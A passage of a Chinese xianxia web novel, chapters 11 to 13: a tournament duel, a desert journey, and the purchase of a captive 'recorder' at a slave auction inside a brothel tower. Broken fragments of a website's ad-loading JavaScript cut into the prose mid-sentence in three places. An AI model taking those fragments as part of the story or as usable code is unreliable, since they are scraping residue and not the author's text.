克古鲁看起来很高兴,拖着镜遥和原佰便往这边赶:“大哥!你是什么时候出了关?半个月前我问善玄师叔他还说你在闭关呢。” “两日前。” 镜遥听了惊叹一下:“那可真是好巧!” 原佰调笑:“是呀,那这回云霄大比你若是不拿个第一回来哪对得起我们仨的鼎力支持” 温卓拱拱手:“承蒙各位抬爱。” 一旁的克古鲁不着痕迹地打量着温卓。 不知道是不是太久没见产生的错觉,他觉得他大哥好像和之前不太一样了。 尽管他依旧多加规数,礼节傍身,可克古鲁却总能在他身上察觉到些难以描述的戾气。 这个发现让克古鲁隐隐有些不安。 云霄大比是仙盟合议举行的仙门活动,仙盟的各宗门轮流做东道主,而这一届的云霄大比举办者正是十方宗。 不过十方宗不愧是号称仙盟第一奢靡,直接为了举办这次大比轰平了一座侧峰,就地建了块半径几百里的新比试场地。 中央擂台和四分赛台是清一色的鱼肚白大理石基底,每个擂台其上都放置九九八十一颗夜明珠,由流光溢彩的景泰蓝搭架而上。鱼肚白百级阶梯,其上穷奢极侈宛如宫殿,这便是各门派前来的长老观赛的地方。 十方宗的钱从来不藏着掖着,宛如花孔雀开屏,张扬得很。 倒是其他门派前来参加大比的弟子们看见这做派嘴都合不拢。 克古鲁终于第一次体会到当年镜遥陪着他们第一次到十方宗时的心情,他低头看看自己身上的十方宗弟子服,无言地垂下头捂上脸。 “怎么了,师弟,不舒服?”镜遥一下子注意到了他,连忙问道。 “没有,就是觉得有点现眼,有点难受。”克古鲁哼哼唧唧。 镜遥愣了一下,然后一副了然的模样,“唉,你还没习惯啊师弟,还是要多加历练吧。” 原佰哈哈大笑。 云霄大比的对战图已经张榜出来了,刚开始的阶段是分为四组,组内抽签,两两对战对战留胜者,直至各组剩五人。之后便是擂台赛。 东西赛台是法术赛台,南北则是剑术赛台。 温卓被分配到了东赛台,他此时正低头看着对战名单上他第一轮的对手:岑召,洛安派的一名女修。 原佰正巧凑在前,目光一斜便瞟到了这名字,“哦,岑召,我认得她。她习惯出招迅猛,招式也都是能一击致命的快法术,赛台上势必是要提防一二。” 温卓点点头悉数记下,“多谢原兄提醒,温某谨记。” 石阶上的观赛台长老也逐渐多起来。 温卓五感生来便清透,在第一个瞬间便察觉到台上有一道长久的,算不上友善的目光落在自己身上。 他不躲不藏,抬头直直朝那目光看去。 哪知那目光来源之人倒是也丝毫不藏着掖着,直接十分大方迎着他的目光朝他翻了个白眼,那黑豆似的黑眼珠险些要转到脑袋后边。 “大哥,”克古鲁也朝着那边一看,疑惑道,“他为啥翻你白眼?” 温卓道:“不知。” 克古鲁沉吟片刻,“也是,你大门不出二门不迈,按道理也和这玄天门少掌门结不下什么过节才是。” 然后他就看到他大哥用一种莫名的神情看了他一眼。 “元宿央?” “嗯?你认识他?”克古鲁一愣,“是他没错,不过我们一般都是用‘衍宣上尊’的法号称他。” 然后他便看着他这德高望重的好大哥又往台上看了一眼,“他有参加大比吗?” 克古鲁又是一愣,“他十几年前刚过了三百五十岁生辰,早就参加不了了。” 温卓扯了扯嘴角,似乎是“哼”了一声,随后有些遗憾地收回了目光。 “……” “?” 不是,这俩人不会真的结了什么梁子吧?他大哥这都因为不能光明正大揍他整个人礼崩乐坏了! 第一场比试很快就开始了。温卓的对手岑召是个扎着高马尾很飒爽的一个姑娘。 “承让,小兄弟。”她爽快一笑,行了个抱剑礼,“洛安派,岑召。” 温卓留意了一下她手中的剑。 岑召不是剑修,那这估计是她的仙器了。 “彼此,”温卓拱手回了个礼,“温卓。” 虽然温卓的是挂在十方宗的门下报名的云霄大比,但他未拜师,于是平日介绍自己一般不带着十方宗的缀头。 “温卓?好陌生的名字。”岑召思索一番,“哪门哪派?” 温卓垂了垂眼,好一会儿才道:“师承十方宗。” 但他对此不欲多提,很快就转开了话口:“请岑姑娘先出招吧。” 他并不打算先出手。 虽然情理之上,赛台之上不论男女老少,也不该讲究那些客套的承让,可温卓自小就是个心思琐碎的人,加上药居近十年的耳濡目染,零零碎碎的礼数是尽数加身。你若叫他心安理得朝一介女修肆无忌惮动手,砍了他的头他也做不出来。 不过岑召也不和他废话,只一笑,“如此便恭敬不如从命了。” 话音未落,甚至没给温卓一分一毫反应的时间,她挽了个漂亮的剑花,剑下立刻随着剑浪激起一丛蓝色灵气。 她不想浪费时间,第一招便是杀阵。 “绞杀!” 她大喝一声,左手变爪猛地一收 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这丛蓝色灵气立刻应声化成了一只口衔宝珠的蛟龙破风而来。 骤然风动,温卓迎着狂风略微眯了眯眼。 台上岑召这一击是电光火石之间,克古鲁镜遥原佰一行人在台下甚至有些看不清她是如何出手的。 “天哪,好快!” 立刻传来一些窸窸窣窣地惊呼。 镜遥瞪着眼睛仔细瞧着,“洛安派自古以快而闻名,今日一见果然是名不虚传。看来温兄要小——” 台上的温卓正把右手朝着那蛟龙头的方向,随后轻轻一握。他动作轻柔,仿佛只是抬手挡了挡那铺面疾狂的风。 “砰!” 一声巨响自东赛台上传来,其声之大整个侧峰山头为之一颤,赛台上迅速被一团蓝灰色球状烟包拢起来。 其他三个赛台的比试者被震得抖了抖,也纷纷停下了比试,朝这边看来。 看台上的各位长老也闻声看来。 秦鹤生坐在最中央。他从温卓一上场便关注着这边的动静。 他眯了眯眼,“笃笃”敲了两下拐杖,轻声笑了下。 “这小家伙,本事不小啊……” 十方宗这观赛台做的奢靡,那自然能坐的人就少,于是每个门派至多也就只派了一位长老来观赛。 不过善玄向来不要皮不要脸,为了看他的小师弟,硬是挤到了秦鹤生身边,好说歹说巧舌如簧地挤来了半张掌门椅坐。 秦鹤生这人好说话,又的确是宠善玄,睨了他一眼,拿拐杖杵了杵他,笑着小声呵斥:“没大没小。” 善玄哼哼两声,随后又将目光转向台上,“掌门,我这小师弟是不是确实厉害?” “确实不错。”秦鹤生点点头。 “都是我教得好啊!师尊见到了可不得夸死我?”善玄拨了拨他脸上的碎发,眼睛亮晶晶的。 秦鹤生哭笑不得地看他一眼。 台下。 “怎么回事?这个玄衣小兄弟出手了吗?” “嘘——耳鸣了,你先别说话……” “出手了吧?但是我没看到?” “我也没看到。” “我看到他伸了下手,像这样——” “我连这位洛安女修出手都没看清,我就眨了个眼。” “那也正常,这位洛安女修的修为很高的!她那剑气一出,灵压压得我有点喘不上来气!” “我也是!” “还有我!我也是!” “烟在散了!烟在散了!” 蓝灰色的烟逐渐散开,慢慢能看清台上后,底下观赛之人的脸色齐齐一变。 赛台上,一人站立,一人跪倒。 岑召跪倒在地上,口中鲜血不止。 “怎么会……” “云霄大比不决生死,这位小兄弟出手为何如此重!” “是呀!这位姑娘恐怕是修为都要废了!” 温卓蹙着眉看了看自己右手的手心,随后带着歉意道:“抱歉,我没有注意到你散了神识在龙身之上。” 闻言,全场哗然。 众人皆知,云霄大比不决生死。但岑召的杀阵之中甚至挂了神识,其意图已然不言而喻。 只能说幸好温卓抬手便捏碎了这气眼,若是真被那蛟龙咬上一口,此刻恐怕跪在地上的就是他自己了。 “那蛟龙本身便是绞杀阵,怎么能散神识在上!这姑娘真是……” “真是心好狠啊!” “不过这绞杀蛟龙,这位小兄弟是直接捏碎了?” “当然是了,没看到刚才的烟雾只有这位女修灵气的颜色吗?” “这位小兄弟现在只是拆招,山头便震了三震,若方才真的还了手……” “这小兄弟何方神圣?” 温卓对这片喧哗置若未闻,他往前一步,搀扶了一下已经失去行动能力的岑召,“你怎么样?还好吗?” 岑召眼前一片血雾,她看着这个丰神俊朗的男子将自己扶起,只有些悲哀地嗫嚅:“怪不得你……是我违背赛训在先……” 随后凄惨一笑,“……只是可惜我修为一丝不剩了吧。” 温卓帮着来治疗的几位药术师将她扶了下去,没再就此搭腔,只道:“好好养伤会恢复的。” 下了台。 “温兄真是好功力!恭喜恭喜,首战告捷!”镜遥笑着撞了撞凯旋的温卓的肩膀。 温卓目光一直停留在被抬下去的岑召身上,直到目送她下了山头才将目光转向镜遥,“嗯。” 云霄大比由于人数众多,比赛时日有十日之久。 下一次的比试是在三日之后,四人攀谈片刻,最终在傍晚的夕阳下挥手告别。 不过刚作别了斗宗青木长老的三名弟子,温卓一转身就看到了那个穿着鸦青玄天门长老服的讨人厌的少掌门。 这人似乎一直在等他。 看到了温卓回头,元宿央皱了皱鼻子,抱着臂上下打量了他好几个来回。 “你就是温卓?” 12. 月华 温卓皱了皱眉。 元宿央也没等到他开口自己便自问自答起来:“哦,就是你,我知道。” 温卓:“……” 不过他还是好脾气地拱了拱手,言语极其规矩立整:“见过少掌门。” 如果忽略他极其不友善的态度的话。 元宿央依旧是怎么看他怎么不顺眼。 个子,挺高,马马虎虎吧,也就只比他高一点;长得,马马虎虎吧,鼻子是鼻子眼是眼,但是他长得也不差;修为,马马虎虎吧,花里胡哨,不如他。 ……整体也就马马虎虎吧。 元宿央兀自在心里好生比较了一番,千看万看,还是不知道玉阑音整天都在宝贝这厌族小崽子什么。 于是又冷哼一声。 忍了好久元宿央打量的温卓客客气气:“若是少掌门只是为了来‘哼哼’而无其他事的话,温某便先回了。” 被恶意中伤的少掌门:“……” “不……不知礼数!” 温卓老老实实低头:“过奖,过奖。” 元宿央和个人形炮仗似的又被气到了,咬牙切齿道:“今日一见……真是不知他到底瞧上你什么总是夸你……我真,呸。” 还随地大小演附带了个真情实意的偏头吐口水。 谁知温卓听了这话却没恼,反而瞬间那张牙舞爪的针锋相对收了个干净,好半晌也没反扑的迹象,没作声。 一时没被呛声的元宿央忽然有点不适应,他等了会儿,皱着眉问:“怎么了?气死掉了?” 温卓依旧没说话,只摇摇头。 “他……最近还好吗?” 温卓说的很轻很慢,总让人觉着这话哪怕没有脱口,却应该也已经在心里囫囵着转了好多年。 元宿央本来就气得牙痒痒,这会儿听了这话直接冒了火:“哟,原来你还记得他呢?离家百八十年一趟也不回。你这也就是欺负他脾气好,若是换了我,早就两张鞋底缝一起,打得你妈都不认识了!” 温卓似乎是想说什么,但是最终是由着他骂没开口。 “……还活着,死不了。”元宿央骂了个痛快,最后才哼唧了两声。 其实这也是他想到玉阑音有意瞒着他的身体状况,只能佯装呛声,倒是也糊弄过去了,温卓似乎没听出不对。 “你方才说……”温卓顿了一下,“他时常提起我么?” 说到这元宿央就来气,他又扯着嘴角露了个皮笑肉不笑的模样,“关你屁事。” 元宿央原以为这小子听了这话估计又要明讽暗刺一番,可温卓却依旧反常地没驳话。 元宿央这人确实是有点贱。两个人对着咬的时候那叫一个金口玉言嘴难开,对面一安稳消停下来,他便要开始辗转反侧地反省自己是不是话说的太重。 他看着眼前这垂头丧气模样的孩子,心里烦得要命。 他费了点心思哄了哄自己:别和孩子一般见识。之后才哼哼唧唧开了口:“提倒是提的不少吧,谁知道你这个孩子这么没良心的呢……” 然后他看到温卓听到这话,忽然像是周身卸了力一般掉了一下,像是平地一个踉跄似的。 “……怎么了?不舒服?”元宿央皱着眉打量了一番,“我告诉你,别碰瓷,我可没动你一根毫毛。” 温卓一时没回话。 很久,他苍白着唇:“无碍,谢少掌门关心。” 元宿央看着他觉着他怪怪的,不过他与温卓不相熟,一时半会儿也摸不到头脑。只得作罢。 而且他今日来找他也不是为了来这儿骂人一通的。 “咳,那什么,我今天来是想问你,你这几日有没有空跟我走一趟陇西?”元宿央不好意思地咳了两声,“我们门内的占风玉盘下落不明,大长老卜卦说大约是去了陇西一带。” 其实若是一开始元宿央便这么说,温卓是百分百会“少掌门天资卓绝,相信即便是没有我,也定能平定此事”半阴半阳地挖苦两句。 可此时的温卓却忽然没了这兴致。 “这和我有什么关系呢,”他声音毫无波澜,冷静、却也无情异常,“少掌门若是有意要寻,还是尽快另寻他人才是。” 元宿央最怕地就是他这么问。 他吭哧吭哧了半天,终于认命似的开了口:“实话和你说吧,那占风玉盘是我们门派的禁物,被封在门派后山占风阵的阵眼石周围,和阵眼石共同指示厌族踪迹。可是万物都有寻,你倒是觉得,这玉盘凭和能寻到厌族的风吹草动的?” 温卓不知为何好像心情更差了,“少掌门有答案,不必问我,直说便是。” 元宿央若不是有求于人,真想两脚把他踹飞,他闭着眼顺了顺气,“……因为这玉盘本就是厌族之物,且其内厌族之力滔天,若真落回厌族手中,只怕——哦,这玉盘本是一对,还有一只便是在十方宗。两只玉盘相互联结,若真要去寻陇西那只便要带上另外一只,这也是我来十方宗的原因之一。” 他继续道:“其实这事本不应该找你这年轻人的,但是好巧不巧,这玉盘正是在善玄手上。他这人你也知道,闲云野鹤过惯了,三言两语便把这事甩给你了。” 元宿央叹了口气,闭了闭眼,“你要是有什么怨言就去找他去,可别把气撒在我身上。” 温卓:“……” 他做梦都想不到给他揽下这破事的居然是他的好师兄,真是……丝毫不意外啊。 “那玉盘我已经替你取来了,我们快去快回,争取三日内回来,也耽误不了你下一轮比试,可好?”元宿央边念叨边扔了个玉瓷的小玩意儿给温卓。 温卓接过玉盘也闭了闭眼,认命地叹了口气,“好。” 说干就干。元宿央从来不是个磨磨唧唧的人,当即从怀里掏了个小葫芦,往地上一扔,直接落了个缩地千里。 温卓看见那小葫芦脸色一变,正欲张口说些什么。 说时迟那时快,还没来得及开口,下个瞬息的功夫,两人已经直接从沿海江南缩出了玉门关。 这种速度的缩地千里其实和把人扯碎了从异地拼起来无甚区别,粗鲁至极,除了快简直是毫无体验感可言。 纵然是出了关修为大成的温卓都被搞得头晕眼花了好一阵。 温卓缓了缓,扯起嘴角朝着元宿央半阴不阳道:“少掌门一介剑修,这缩地术使得也真是灵巧。” 哪知元宿央本人更是眼冒金星,嘴唇都发白了,自顾自蹲在地上缓了好一阵:“我临走同善玄借了个小法器,只说要个最快的,越快越好,哎哟……这善玄……” 落地之时温卓无暇顾及,也没来得及提前罩上个结界。忽然黄沙之上风起,元宿央迎着风口实打实呛了两口风沙。 温卓在元宿央咳咳咳的空挡已经手脚麻利地化了一件披风给自己拢了起来,宽大的帽檐和面纱将脸遮挡得只剩下一双锋利的眼睛。 此地情况不明,他暂时没有找死的打算,并不打算贸然使用法术落个结界成个活靶子。 随后他垂着眼睛瞧着正咳得像是害了痨病似的元宿央,终于状似无意抬手又化了件披风扔过去。 随后就捂着面纱转头逃似的往前走了。 元宿央被这莫名其妙有点感天动地的披风砸了个劈头盖脸,愣了一愣。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 良久,他“啧”一声,老老实实把披风拢了个结实,随后快步跟上了温卓。 西域戈壁黄沙,三五步便有一丛不知名的活得艰辛的矮灌木,卷着干沙的狂风一吹能划破脸皮。 此时黑夜逐渐吞噬着黄色的死神之地,月亮沉静地落在戈壁尽头。 玉盘仍旧朝着西方嗡鸣。 虽然两人的修为已然是辟谷之境,不需要进食也不需要睡眠,但毕竟是赶路了三四个时辰,两人还是决定休整半柱香的时间,找了块干净的沙地歇了歇脚。 坐下后,元宿央见温卓一直朝天上看,便也顺势抬头看去,“哦,这就是云州结界。” 那云州结界挂得不高不低,大约只比云层高一点儿,在一些特殊的角度能看到月光在结界之上漫射开来的萤光。 “不过这西北地的结界挂得确实是比中原低得多了,在中原,这结界可是连个影儿都看不到的。”元宿央平日也少见这结界,也抬着头一直瞧。 月光打在结界之上的光斑窸窣晃动不已。 温卓仔细看了好一会儿,一转头,见元宿央依旧是仰着头向上看着,但似乎那目光又在飘远,“是不是挺奇怪,现在并未起风,为何这结界之上却波光潋滟?” 温卓没回话,随后就看到了元宿央那迫切希望他发问的目光。 温卓:“……” 温卓:“为什么?” 元宿央满意地笑一下,转了转眸子看他一眼,“结界有生命呗还能是为什么。” 温卓半冷不淡地扯扯嘴角,抱拳:“少掌门英明,温卓受益匪浅。” 元宿央懒得和他斗嘴,甚至十分满意地点点头,“快快平身。” 不过这回温卓看着他滑稽地神情动作,居然也反常地没有呛声。 他不轻不重地深看了元宿央一眼。 可能是他的错觉,他觉着这人的情绪似乎并没有表现出来的如此高涨。似乎是出神,似乎只是心不在焉。 有点像玉阑音。 温卓抿了下唇,“这些年云州结界为何不稳?” 元宿央骤然听到这话,有些诧异地看了看他。虽然相处时间甚短,但他可一丁点也不觉得这人是个会无缘无故好奇的人。 不过他这人颇为好为人师,温卓问了他便没什么隐瞒地答了。 “自结界落成到现在已经一千年了,你总不能盼着这么年迈的一个结界能永远照拂下去。那厌族死心不改,这些年趁着结界衰弱便反扑得厉害,”元宿央说着,“世界上哪有那么多一劳永逸的事情,总要有人为此付出。生命,岁月,有一样算一样,付出所有珍贵的东西。” 他顿了顿,温卓也没插话。 他们彼此都明白这句话里的“总有人”是谁。 两人心照不宣,点到为止。 “你呢,怎么这些年从没回去看过他?”元宿央问道。 温卓垂着眼睛,掩下了所有能暴露情绪的华光,“现在还不是时候。” 元宿央看了他一会儿,他有很多话想说,但任凭千言万语,最终张口之时却只能说出那句玉阑音也曾说给他的:“时间不多了,温卓。” 这句话一脱口,元宿央只觉着心头再次涌起了那不知所起莫名的悲伤。 “有空回去看看他吧。” 温卓忽然看向他,“什么时间不多了?” 元宿央没回话,扯了一个比哭还难看的笑容,他没张口回答,只是指了指上空。 温卓往上看去,明月光华依旧散落在结界之上,随着结界规律的波动映着窸窣斑驳的光辉。 玉盘依旧朝着西方嗡鸣。 13. 秋风 在玉盘的指引下,两人在第二天的正午之时,到达了沙漠深处的一座九层高塔之下。高塔方圆一千公里的黄沙地上空无一物,寸草不生,高塔漆黑瓦片上镶着黑耀琉璃,琉璃之上串着金链金珠,未到达之时远眺,宛如沙漠中的海市蜃楼。 高塔的牌匾上用一种极为扭曲的字体写着“合欢殿”。 温卓发现元宿央的脸色自从见到这高塔就有点难看。 元宿央自然是注意得到他投来的目光。他有些干涩地张了张口:“怎么了?” 见他似乎是不打算多语的样子,温卓便也不再多问,摇摇头,没再说话。 元宿央看着温卓的侧脸好一会儿没作声,也不知道在想些什么。良久,他开口:“这合欢殿是厌族的地盘,殿主却并非厌族之辈,说起来也能算是个老熟人。” 元宿央说着冷笑一下。 温卓思绪跟得很快,略加思索,“仙门之人?” 元宿央的脸色更难看了,“对,是个术修。两百年前背叛仙门串通厌族,这些年和厌族里应外合惹是生非……” 他说不下去了,顿了一会儿才咬牙切齿道:“罪不可赦,当斩。” 温卓皱了皱眉,不知在想什么。 随后他伸手探了探这高塔,忽而蹙眉,“这是……法器?” 说到这儿元宿央更生气了,闭了闭眼做了个深呼吸,“对,这九层塔可不是寻常人家一砖一瓦垒起来的,这就是那厮的仙器。” 他说着抽出自己的佩剑,挥了两下,恨得牙痒痒,“居然还敢把这塔落在云州地界……真巴不得给他砍烂。” 温卓看傻子似的看他一眼,随后伸手推了推高塔的门。 谁知这门一推便开了。 塔内完全是另一个世界,其内环绕塔而建的阶梯之上纱帐缠绕,红袖添香,熙熙攘攘,香脂水粉的味道顶得温卓迅速别过了脸。 一丰乳肥臀脸白得像是墙漆似的中年老鸨顷刻间便凑上来,笑得自以为国色天香,“两位客人,看着好面生,是哪里来的稀罕客?” 温卓身子一侧便躲开了这老鸨凑上前的一双不老实的手,皱着眉躲了个八丈远。 元宿央脸也红一阵紫一阵,最终从牙缝里挤出了一句:“这厮……合欢合欢,真是丝毫不让人意外啊,居然是戈壁上建了个窑子,拿仙器做这种勾当……” 哪知这老鸨听了这话也不恼,两只手涂着红指甲捂着脸咯咯笑起来,颇为少女怀春似的:“两位客人此言差矣。我们这合欢殿平日是窑子不错,不过两位客人这月十五来,自然不是奔着我们这群姑娘来的,金兰可自然是明白的。两位客人,这边请。” 云里雾里,不知所云。 元宿央皱着眉当场就想小发雷霆,温卓拉住了他轻轻摇了摇头,小声道:“去看看。” 说完先行跟上了金兰。 留一个元宿央在后边半尴不尬地站着,气也不是,不气也不是。 这小子……真是没大没小,没大没小!元宿央心里转着圈把温卓编排了一通,面上却也不好发作,心不甘情不愿地跟在了温卓后面亦步亦趋跟着。 两人跟着金兰走过长长的阶梯往最下一层走去。 随着越往深处走,越过一道古旧爬着青苔的锈铜门,门内只在尽头处有光影阵阵,温卓和元宿央十分敏锐地察觉到这里的空气骤然湿润起来。 陇西是个干燥地哈口气都留不下水分的地界,虽然这点小打小闹对修行之人来说是不足挂齿小菜一碟,但毕竟是从江南烟雨水乡里来,旱了这么多天总归也是不舒服。 元宿央一时也顾不上纳罕,舒服得打了两个哆嗦。 温卓睨他一眼。 元宿央看他这副假轻高的样子颇为不屑。他撇撇黑眼珠,眼珠一转翻了个底朝天。 温卓只看一眼,懒得理这幼稚鬼,低头压着嗓音道:“是法阵。” 元宿央闻言立刻收了那鬼迷日眼的模样,提起了十二分精神正色起来,“你是说……” 温卓朝那尽头处针头大小的微光看一眼,并未多言,“嗯。” 元宿央顷刻之间便明白了他的意思。 “没想到这小子居然还真敢呆在这儿……百年前没能手起刀落是我之过,若今日叫我见到……”元宿央也往那光亮处看去,冷笑一下,“定叫他死无全尸,再别想踏出这合欢殿半步。” 温卓并不识得这背叛之人,其实难有元宿央这指名道姓的愤恨。 不过他也绝对说不上不在意。 他觉着自己或许是离家太久,总有些杯弓蛇影草木皆兵,听到“厌族”二字他总会不受控地想起玉阑音。 依元宿央所言,这百年云州结界不稳,玉阑音囚于北塞,这人的所作所为丰功伟绩功不可没。 温卓想着,不自知地眯了眯眼。 ……死无全尸吗。不是不行。 两人步子不停,仍跟在金兰身后,直到走入那屏风之内。 人山人海万人空巷。 “拍卖场?”元宿央皱了皱眉。 “两位公子二楼请。”金兰温柔款款地领着两人坐到了个还不错的好位置,一楼的拍卖会场一览无余。随后金兰为他们二人添了茶水,便福了福身撤下去了。 温卓留意提防着金兰,直到她走远,他才从怀里拿出玉盘。 玉盘正朝着那拍卖台嗡鸣。 元宿央一哂,“来得早不如来得巧,看来我们俩还真是赶了个好日子和好地方。” 他正欲喝口碗盏里的茶水,温卓忽然皱着眉拦住了他。 元宿央立刻警觉起来。说到底这人也是玉阑音的手把手拉扯大的,定然是有些本事傍身,防人之心不可无。他警觉地紧张了起来,“怎么了?茶水有问题?” “嗯,”温卓自顾自拿着自己的那杯茶水嗅闻,良久才动动手指搁下茶盏,“茶叶像是去年的旧茶,不新鲜了。” 元宿央:“……” 随后他瘪着嘴恶狠狠地把自己的茶水一饮而尽。 温卓那一直古井无波的眼中忽然闪过一丝类似于惊讶的情绪,“不好喝的。” 方才元宿央便觉着对面这温卓两只手指夹着碗盏,矜贵地嗅闻的样子有些眼熟,嘚,这会儿还真叫他想起来了,这不和那整天嫌他饭菜难吃的玉阑音一个模子刻出来的么! 看来温卓这人药理本事估计是“人在花丛过片叶不沾身”,挑三拣四的大少爷毛病倒真是学了个十成十! 元宿央眼都没抬眼,睬都没睬他。 温卓只疑惑地又看一看,也未继续多说,随后转了头便朝着下方看去。 拍卖大概已经进行了一半有余,卖的大多都是古玩字画,温卓对此兴致缺缺,元宿央更是无聊地喝尽了两壶茶水,来去跑了三趟厕所。 “看了这么久,这天高皇帝远的地界只拍卖这种物什……”元宿央托着腮道,“怎么看怎么让人起疑。” 温卓正垂着眸子看着台上那副号称五百年的书法挂画,拍卖师唾沫横飞的口舌。听到元宿央的话他眼眸轻抬,“不过欲盖弥彰。” “……下一件可是今天的压轴卖品!各位买家可要瞧好了!” 拍卖师嗓门大得很,元宿央和温卓闻言打起了几分精神。 那拍卖师身边有个落地大半人高的四四方方的物件,蒙着黑布。 “搞得神神秘秘的,”元宿央轻嗤一声,“不过看样子不像占风玉盘,你觉得呢?” 温卓没答话,摸了摸怀里的玉盘。玉盘依旧只是不紧不慢地规律的嗡鸣着。 拍卖师又卖了好一会儿关子,终于大手一挥,才仁慈地把那黑布掀开来。 黑布下是一个铁笼子。 笼子里蜷缩着一个穿着叫花子衣服的人,头发散乱,消瘦不已,脸上泥一把灰一把压根看不出五官,只一双眸子还算清亮。 “人奴?”元宿央皱起了眉。 “不像,”温卓只瞧着台上那笼子,声音未曾一变,“不像人。” 拍卖师在台上敲了敲小锤子,“……这便是今天拍卖会场的最后一件拍品!记者!起拍价,一万金锭!” 全场哗然。 “记者?”元宿央和温卓脸色双双一变。 记者是云州大陆的一个古老又神秘的种族。 这个种族是云州的记录者,他们通过触碰可读取他人记忆,生生世世隐匿于云州西南部深山之下的巨大的地下宫殿之中。地下宫殿名为“后室”,藏着千万史书,又通过壁画的形式刻画记录了整个时代的记忆。 记者此种族极少现世,只在需要作为旁观者出世寻找文明变动的重要节点出世。 可谓盛世不见,而乱世必出。 元宿央嘴唇微动:“记者现世……” 已经不难想这世道究竟是如何的暗流涌动,又是如何的大厦将倾。 记者本就罕见,作为文明的传承者和记录者,作为云州长者,如今居然不知为何原因沦为阶下囚甚至是明码标价的拍卖品。 “这个世界真的是疯了……”元宿央嗫嚅道。 温卓不答话,只听着台下的一片喧闹和逐渐此起彼伏的叫价声。 他忽然转头问:“少掌门,你的银两带的可否足够?” 元宿央:“……” 元宿央:“哈?” 温卓:“拍下来。” 元宿央:“……”不是,我还没说我带没带够银两呢? 温卓顿了顿,似乎也觉得自己方才所言略有不妥,“我的意思是,我们可能需要将他拍下来。” 元宿央无语地咬咬牙:“够是够,我大半辈子的积蓄都在识海里存着呢……” 听到这里,温卓突然用奇怪的眼神看了他一眼。 元宿央:“……” 元宿央:“……你别以为我不知道你什么意思。” 温卓善解人意地作恍然大悟状,随即抱了抱拳:“少掌门切勿多想,我只是觉得,能谨慎到把这所有身外之物都贴身存着的人,也定是个人才。” 元宿央听后嘴唇大抖特抖一番,最终才从牙缝里挤出一句:“……你懂个屁。” 但时间紧张,他也无意和这坏心思的小子打嘴架,于是很快就转了话头,问道:“不过你忽然要拍下这记者,是占风玉盘在他身上么?” “非然。” 温卓说着拿出怀里的占风玉盘。那占风玉盘并没有过多的异样,甚至那嗡鸣声还有渐小的架势。 “那?” 温卓闻言,只忽而偏头看向元宿央,“你不想么?” 他声音淡淡,瞳孔黑得纯粹,像一坛古井无波的黑水,发亮又发暗。 元宿央被他看着,忽然间哑然无语。 他一时分不清是自己太过无处遁形还是只是太过震颤。 其实不必温卓去说,他自己也会不择钱财地将这受困的记者拍下。 那台上笼子里的不只是一个个体,那是时间的缩影,是过往无穷岁月在大陆之上的刻痕,是真实,是记忆,是文明。 他又怎忍心看着云州的文明蒙着尘土和鲜血,被关押在铁笼之中为奴、为玩物。 元宿央绝对称不上喜欢温卓,他再怎么堕落也不至于倒贴这厌族小崽子给他好脸色。 他现在能和温卓还算和谐的交流的唯一理由,也不过是那人的一个面子。毕竟那人所做的,怕是云州大陆所有人合力都不能偿还一二,自然是值得元宿央为其破例一回。 不过常言道,非我族类,其心必异。他可不是玉阑音,即便这厌族小子面表如何光风霁月,他也从未想过这小外族能对人族有一丝一毫的善心与仁慈,自从见面便未放松分毫提防。 可是…… 元宿央头一回细细打量了面前这少年。 是真情还是假意?他此刻居然也难以分清。 不过再一想到这可能十分根正苗红的、和他一拍即合的年轻人,居然是个厌族小崽子。 他不由地浑身弃了一身鸡皮疙瘩。真是个鬼故事。 思绪走得太远,思念至此,元宿央骤然回神。 他后怕地拍拍胸脯。 ……呼,果然防人之心不可无,居然险些就和玉阑音一样被他骗了去了。 “……想。” “那就拍下吧,”温卓不再多说,转开了他的目光,“钱算在十方宗账上,你安心抬价就是。” 元宿央深深看了他一眼,转头朝台下朗声喊道:“一百万金锭!” 他声音里混了内力,在场所有人都听得一清二楚。 全场寂静。 温卓:“……” 元宿央刚大手一挥一掷千金,财大气粗一回,忽然觉得心情十分舒畅。 见到温卓的目光,他颇为无辜问道:“不是你说放心抬价的么?” 温卓:“……” 温卓:“嗯。” 台上拍卖师也愣了,小眼睛眨巴了好几回才巍颤颤开口:“……一百万金锭。一百万金锭,一次。” 无人作声,鸦雀无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声。 “一百万金锭,两次。” 依旧无人应答。 惟有元宿央的嘴角此时要咧到耳朵了。 “一百万金锭三次。成交!” 元宿央高兴得呱唧呱唧拍了拍手,在寂静的拍卖场有些突兀。 所有人都齐齐转头看向他们二人。 甚至包括铁笼中的记者。 此刻他正直勾勾地抬着头看着元宿央。 “一百万金锭……” “哪家公子如此财大气粗?” “不知啊……看他穿着的像是仙服?” “仙服?仙门之人怎么会来这儿?” 最初的寂静过后整个拍卖会场窸窸窣窣地议论起来,可能是嫉妒,可能是猎奇。如果他们的目光带着剑,恐怕早就将这两人刺了个死无葬身之地。 如此说起来,全场大概也就只有两位当事人还自如地保持着从容不迫的缄口,甚至还颇为愉悦。 等到元宿央老老实实一块不落地把银两交齐之后,温卓已经将记者从铁笼中搀扶出来了。 记者几乎不太能行动了,腿脚无力,身上也有些血污混合着泥土的臭气。不过温卓宛若未觉,将他一只手搭在肩上稳稳地扶着。 如今他脸上唯一能看清的五官就是那双眼睛,清澈又明亮,宽博又仁慈。此刻这双眼睛正久久地停留在温卓的脸上。 “……我们现在就走吗?”元宿央一边整理坐皱了的衣服一边问,“那玉盘也是奇怪,在塔外面响破天,进来之后反倒是安静了。” “先出去吧,”温卓道,“这塔有古怪,似乎是封了我的法术。” “用不了法术?” 温卓“嗯”一声。 三人说话间便已经出了这“合欢殿”。 刚一出这塔,温卓怀里隐隐嗡鸣的占风玉盘一瞬间彻底没了动静。 “这是怎么一回事?”元宿央有些不解。 温卓垂着头看了这玉盘,“它把我们引到这里之后,嗡鸣声就越来越小了。” “一对占风玉盘,断没有不指示另一只的道理,除非……”元宿央面色有些凝重,“另外一只玉盘已经碎了。” 温卓思忖片刻,也没说是也没说不是,“我还是觉得这塔有古怪。” 